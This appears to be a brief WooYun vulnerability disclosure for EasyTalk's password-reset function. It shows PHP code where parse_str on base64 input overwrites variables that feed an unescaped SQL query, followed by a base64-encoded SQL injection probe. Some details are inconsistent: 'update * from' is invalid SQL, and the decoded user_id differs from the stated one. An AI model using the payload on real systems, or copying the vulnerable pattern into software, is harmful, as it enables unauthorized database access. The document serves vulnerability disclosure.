WooYun.org

http://www.vulns.org/easytalk/?m=index&a=checkreset&urldata=dXNlcl9uYW1lPXRlc3QmbWFpbGFkcmVzPWZlbGl4azN5QHFxLmNvbSZ1c2VyX2lkPTImZGF0ZWxpbmU9MTM5MjYwNDE5NQ==

user_name=test&mailadres=felixk3y@qq.com&user_id=2&dateline=1392604195

public function checkreset() {
        parent::tohome();
        $uModel=D('Users');
        $urldata=$_REQUEST['urldata'];//接收urldata 参数
        parse_str(base64_decode($urldata));//parse_str 变量覆盖
        if (time()-$dateline>3600*5) {
            setcookie('setok', json_encode(array('lang'=>L('reset3'),'ico'=>2)),0,'/');//该地址已经过期，请重新“找回密码”
            header('location:'.SITE_URL.'/?m=index&a=reset');
            exit;
        } else {
            $user=$uModel->getUser("user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'");//直接带入了数据库...Oh My Ga.
            if (!$user['user_id']) {
                setcookie('setok', json_encode(array('lang'=>L('reset4'),'ico'=>2)),0,'/');//地址验证失败，请重新“找回密码”
                header('location:'.SITE_URL.'/?m=index&a=reset');
                exit;
            }
        }
        $this->assign('subname',L('find_pwd'));
        $this->assign('user',$user);
        $this->assign('urldata',$urldata);
        $this->assign('type','find');
        $this->display('reset');
    }

update * from tk_user where user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'

urldata= dXNlcl9pZD0yJyBhbmQgMT0xIw==
Base64解码为：urldata=user_id=1' and 1=1#